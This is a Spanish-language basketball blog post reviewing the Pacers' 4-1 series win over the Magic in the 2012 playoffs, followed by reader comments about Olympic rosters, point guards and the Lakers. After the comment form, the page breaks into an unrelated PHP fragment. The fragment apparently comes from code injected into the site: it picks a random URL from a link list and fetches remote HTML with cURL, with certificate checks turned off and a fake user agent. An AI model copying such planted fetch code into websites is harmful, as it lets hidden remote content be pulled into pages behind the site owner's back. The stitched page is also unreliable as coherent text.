Resumen Pacers 4 – Magic 1

10 de May de 2012 por TheDeerHunter

Análisis previo de la eliminatoria

Algunos veíamos un paseo militar de Indiana ante un rival demasiado desdibujado. Aunque no haya sido un año memorable de Dwight Howard su mera presencia puede distinguir un aspirante a liarla en los cruces de una banda de lotería. Es evidente que la estructura e idiosincrasia del proyecto ha girado los últimos tiempos en torno a él y su ausencia era decisiva por definición. Los Pacers por su parte llegaban bien. Todo, excepto la experiencia como ya aventuraba alguien en la previa, indicaba que la serie podía resolverse por la vía rápida. Así ha ocurrido pero no con tanta facilidad como se esperaba.

Sin el centro de gravedad de Howard y los espacios que genera los tiradores de Orlando no lo iban a tener fácil. La prueba más evidente del efecto ha sido Ryan Anderson, el flamante jugador más mejorado del año. Su producción anotadora ha caído casi a la mitad y su eficacia hasta casi un 30%. En el global del equipo los Magic han pasado de anotar más de 94 puntos a hacer 83 en esta serie. Stan Van Gundy acertó viendo que a campo abierto no iba a tener ninguna opción contra los Pacers, así que el planteamiento ha sido trabar el juego y meter la mayor presión emocional posible a los rivales. Partidos a bajar de 160. Medida desesperada, porque eliminar a alguien anotando 80 por partido no lo consigue cualquiera. Sin embargo en ese intento hemos podido ver su versión más competitiva. Partidos típicos de playoffs a cara de perro. La actitud que les llevó al subcampeonato. Trincheras como en la que se atascaron los Pacers en el primer partido, donde las ha pasado canutas Hibbert toda la serie y donde muchos han visto fantasmas de campanada. Todo el mérito del mundo para Orlando, desde una posición de clara desventaja.

Pero en este punto puede apreciarse mejor la extensión de la plantilla de Indiana. La presión ha podido influir negativamente en Paul George, Roy Hibbert o Darren Collison pero gente como Granger, West y Hill ya se han visto en algunas de estas y han sostenido a los suyos en los peores momentos. En Orlando hay gente demasiado sobrada de experiencia… pero en el mal sentido. Turkoglu, Quentin o Duhon piden a gritos la jubilación, pero podría llegar un momento que el equipo pague más en amnistías que en salarios.

PREMIOS

MVP: Gran versión de Danny Granger. Hemos vuelto a ver el líder all-star que algún día creímos que era. Ha mejorado sus prestaciones prácticamente en todo.

Sorpresa: Duelo de centers entre Roy Hibbert y Glen Davis lo gana el de Orlando.

Decepción: Muchos ponen en duda el premio a Anderson por el efecto Howard en su juego. En esta serie las dudas no se han diluido ni mucho menos. A Hedo Turkoglu hay que darle de comer a parte. Lo peor es que no hay mucha gente que esperara mucho más de lo que ha hecho.

Esfuerzo en vano: El “big three” de Orlando. Nelson, Richardson y Davis se han dejado todo en el intento. No se les puede reprochar nada.

Comenta

18 comentarios a esta entrada

  1. Sancho88 dice:
    #1

    Si no fuera porque están Lebron y Carmelo, Granger debería ser un fijo en la lista de Londres. Es que estos tíos tienen tanta calidad que podrían hacer hasta tres o cuatro equipos con aspiraciones a medalla… Aunque Stern ha aconsejado que en próximas citas podrían recuperar el modelo de jugar con jugadores sub-23. Seguirían siendo temibles, pero no tan invencibles como ahora mismo.

    A Orlando le pasa un poco como a los Mavericks. Siguen teniendo un crack total de la liga, pero con el resto de señores no hay ni por donde empezar…

      Citar

  2. MagicJohnson32 dice:
    #2

    Sancho88:
    Si no fuera porque están Lebron y Carmelo, Granger debería ser un fijo en la lista de Londres

    LeBron, Melo ¡¡¡y Durant!!! Sí, diría que el puesto de SF lo tienen cubierto xDDD

      Citar

  3. Sancho88 dice:
    #3

    Por cierto, lanzo una pregunta tipo Esteban. Qué aleros os gustan más: Bryant-Wade-Lebron-Durant-Carmelo, o Jordan-Pippen-Bird-Drexler-Mullin? Kilates de talento en ambos casos. Menuda barrida van a meter en los JJ.OO….

      Citar

  4. Esteban dice:
    #4

    la inexperiencia de los pacers les paso factura pero su prolongado banco les salvo las papas

    creo que entre la serie con bulls el año pasado, y esta serie donde partian como favoritos frente al magic, creo que los pacers ya se han hechoi bastante hombres para enfrentarse al heat, o cuantos PO deben jugar para tener cierta experiencia?

    cuidado que la variedad de jugadores que tienen los pacers capaces de ser factor de un partido, son muchos mas que los 3 grandes del heat

      Citar

  5. TheDeerHunter dice:
    #5

    Sancho88:
    Por cierto, lanzo una pregunta tipo Esteban. Qué aleros os gustan más: Bryant-Wade-Lebron-Durant-Carmelo, o Jordan-Pippen-Bird-Drexler-Mullin? Kilates de talento en ambos casos. Menuda barrida van a meter en los JJ.OO….

    Los únicos que verdaderamente pueden discutir algo a sus “pares” históricos son Kobe y Wade. El resto aún tiene que ganárselo.
    No puedo admitir una comparación seria de LeBron vs Bird, por decir algo, viendo lo que pasó el año pasado. Tenía más peligro el pájaro con una birra en la mano viendo la tele en su pueblo que el Elegido en los momentos calientes de las finales.
    Los actuales 3s pueden aumentar su currículum… pero mientras no lo hagan, para mí no hay discusión que valga.

    En cuanto a la comparación de escoltas, que es la única posible, la diferencia es sutil… esencialmente la que hay entre un Jordan y un Kobe. Siguen ganando los originales.

    Todo eso no quita que los actuales son un escándalo.

      Citar

  6. Esteban dice:
    #6

    TheDeerHunter: Los únicos que verdaderamente pueden discutir algo a sus “pares” históricos son Kobe y Wade. El resto aún tiene que ganárselo.
    No puedo admitir una comparación seria de LeBron vs Bird, por decir algo, viendo lo que pasó el año pasado. Tenía más peligro el pájaro con una birra en la mano viendo la tele en su pueblo que el Elegido en los momentos calientes de las finales.
    Los actuales 3s pueden aumentar su currículum… pero mientras no lo hagan, para mí no hay discusión que valga.

    En cuanto a la comparación de escoltas, que es la única posible, la diferencia es sutil… esencialmente la que hay entre un Jordan y un Kobe. Siguen ganando los originales.

    Todo eso no quita que los actuales son un escándalo.

    yo en su momento puse sobre el tapete este debate, pero no por historia, sino como llegaban esos jugadores en ese momento y por supuesto que las mayores diferencias estan entre magic y paul y bird y james, en cuanto historia

    pero en el 92 bird se acababa de retirar con 11pp y los celtics lejos de aspirar a algo, mientras que lebron esta en el auge de su carrera, con numeros solo comparable con los grandes historicos
    y magic acababa de retirarse, y este si puede ser incluso en el 92 mejor que paul

    el resto de equipo, lethner no esta a la altura de nada, y mullin siempre fue muy terrenal comparado al resto

    lo mismo seria a este dream team, añadirle como ala pivots a duncan y garnett por mas viejos que esten, asi sumarias al mejor 4 de la hitoria con 4 titulos y a al segundo? mejor cuatro de la historia, tamb ganador de un titulo

    quedaria asi este dream team sin lesiones y pasaria a la historia

    cp3-deron-rose
    kobe.wade
    lebron-durant
    duncan-garnett-griffin (suponiendo que se convertira en lo que apunta) o anthony davis
    howard-bynum

    seria el verdadero dream team II

      Citar

  7. Sancho88 dice:
    #7

    Por qué Deron y no Rondo? Me parece vergonzosa la comparación, en este caso por hacer de menos a Rondo. Como el Usa Team y todas esas chorradas ponen por delante a ese tipo, significa que está a la altura de Rondo? Ni de coña… y lo de Griffin me ha dado risa tía felisa… no me vale tu equipo Esteban

      Citar

  8. MagicJohnson32 dice:
    #8

    Sancho88:
    Por qué Deron y no Rondo? Me parece vergonzosa la comparación, en este caso por hacer de menos a Rondo. Como el Usa Team y todas esas chorradas ponen por delante a ese tipo, significa que está a la altura de Rondo? Ni de coña… y lo de Griffin me ha dado risa tía felisa… no me vale tu equipo Esteban

    Para mí, Deron es mejor que Rondo. CP3, Deron y D-Rose. No digo que Rondo no sea buenísimo, ojo, que a mí me encanta.

      Citar

  9. TheDeerHunter dice:
    #9

    Magic+Stockton
    Jordan+Drexler
    Pippen+Bird+Mullin
    Malone+Barkley
    Ewing+Robinson+Laettner

    Para mí son superiores en 1, 2 y 5 y prácticamente un empate técnico en las otras, por no decir que aplicando los mismos argumentos no hay color entre duncan y garnett viejos al Malone y Barkley de aquel momento.

    Ah… y Bird es Bird. No puedo imaginarme un Dream Team sin él estuviera como estuviera. En cambio, en el caso de LeBron mucho tiene que cambiar la cosa para que no pasemos de considerarlo como una bestia parda, pero simplemente eso. No sé si me explico.

      Citar

  10. Sancho88 dice:
    #10

    Deron ahora mismo no es mejor base que ningún base en la nba, lo que es es un payaso

      Citar

  11. Sancho88 dice:
    #11

    y lo digo por su actitud, no saquéis el hacha de guerra. su actitud ha sido de payaso, y para ser un gran jugador hay que saber ser jugador de equipo, y no un individualista insoportable. Tyreke ídem. En algunos momentos dan algún pase a sus compañeros para no perder la costumbre, pero su actitud deja mucho que desear para considerarlos grandes. yo en ningún equipo pondría a Deron, sino a Rondo para que el resto jugasen al baloncesto. Con Deron solo juega él, porque la pelota es suya y no se la pasa a nadie

      Citar

  12. MagicJohnson32 dice:
    #12

    Sancho88:
    Deron ahora mismo no es mejor base que ningún base en la nba, lo que es es un payaso

    Pues nada, Dwight no es el mejor pivot de la NBA, porque es un payaso.

      Citar

  13. Sancho88 dice:
    #13

    Sí, pero Howard ha llegado a unas finales de la NBA. Aun siendo un payaso, ha demostrado que puede liderar un proyecto. Qué ha demostrado Deron? Son bastantes años jugando a esto y sí, será muy bueno, pero el baloncesto se juega en equipo, no a lo chorralaire

      Citar

  14. simon dice:
    #14

    Sancho88:
    Sí, pero Howard ha llegado a unas finales de la NBA. Aun siendo un payaso, ha demostrado que puede liderar un proyecto. Qué ha demostrado Deron?

    Sin ser santo de mi devoción Deron con la unica ¿ayuda? de Boozer los llevó a semis de conferencia, que visto los niveles del Oeste en esa epoca y del Este en general tiene casi el mismo merito que ganar la conferencia Este. En 2006 la final de la NBA reales fue la final de conferencia del Oeste…

      Citar

  15. simon dice:
    #15

    simon: Sin ser santo de mi devoción Deron con la unica ¿ayuda? de Boozer los llevó a semis de conferencia….

    Perdon quise decir finales de conferencia.

      Citar

  16. Lucho dice:
    #16

    Terrible paliza de Denver a los Lakers.
    – Nunca vi jugar tan mal a Pau (Bynum horrible tmb)
    -Me gustaria saber el % FG de Nuggets en el 3º cuarto, si no me equivoco fue altisimo

      Citar

  17. nba dice:
    #17

    Me parece que acabamos de asistir al penultimo partido de Pau y Brown, defendiendo la elastica Laker, lo del partido de hoy ha sido una verguenza absoluta, esta tarde vere el partido mas detenidamente, pero definitivamente Pau ha acabado ya con su tiempo defendiendo esta camiseta.

      Citar

  18. nba dice:
    #18

    Ahora los Lakers tendran que decidir a que franquicia traspasan a Pau. ya bien sea Bulls-Rockets o Wolves,
    lo de que Brown sea un entrenador especialista en defensa parece de chiste, que venga Byron Scott ya !!!

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>